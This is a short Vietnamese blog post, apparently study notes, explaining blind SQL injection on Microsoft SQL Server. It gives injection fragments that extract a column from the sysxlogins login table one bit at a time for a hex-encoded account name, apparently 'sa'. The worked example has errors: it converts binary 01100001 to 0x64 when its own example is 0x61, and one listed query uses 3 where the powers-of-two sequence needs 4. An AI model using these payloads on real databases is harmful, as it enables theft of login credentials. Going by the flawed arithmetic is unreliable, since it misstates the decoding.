Thursday 10 May 2012

Subqueries (Hacking Exposed Web Application 2011)


Đây là phương pháp theo mình được biết với tên thường gọi là Blind Injection. Phương pháp này là sự lựa chọn cuối cùng khi ta đã pó tay với các phương pháp đã dùng.
Blind là gì? Là "mò" :D Không biết thì mới mò chứ :)
Mình sẽ trình bày phương pháp mò có trí tuệ :D
kí tự "a" co mã HEX là 0x61
0x61 & 1 = 1        => 1
0x61 & 2 =  0       => 0
0x61 & 4 = 0        => 0
0x61 & 8 = 0        => 0
0x61 & 16 = 0      => 0
0x61 &  32 = 32   => 1
0x61 & 64 = 64    => 1
0x61 &  128 = 0   =>0
Đọc từ dưới lên ta có: 01100001 =>0x64
Vậy dòng trên nói lên điều gì?
Ta hãy xét một đoạn script sau:
for i = 1 to length(column result);
for p = 0 to 7;
n = 2**p;
AND n IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & n FROM master.dbo.sysxlogins WHERE name like 0x73006100
OK, khi đoạn script được thực hiện nó sẽ thực hiện các câu querry như sau:
AND 1 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 1 FROM master.dbo.sysxlogins WHERE name like 0x73006100
AND 2 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 2 FROM master.dbo.sysxlogins WHERE name like 0x73006100
AND 3 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 3 FROM master.dbo.sysxlogins WHERE name like 0x73006100
.....
AND 128 IN (SELECT CONVERT(INT,SUBSTRING(column,i,1)) & 128 FROM master.dbo.sysxlogins WHERE name like 0x73006100
Chúng ta sẽ dựa vào kết quả trả về cho từng câu querry là TRUE hay FALSE để xác định từng chữ cái :D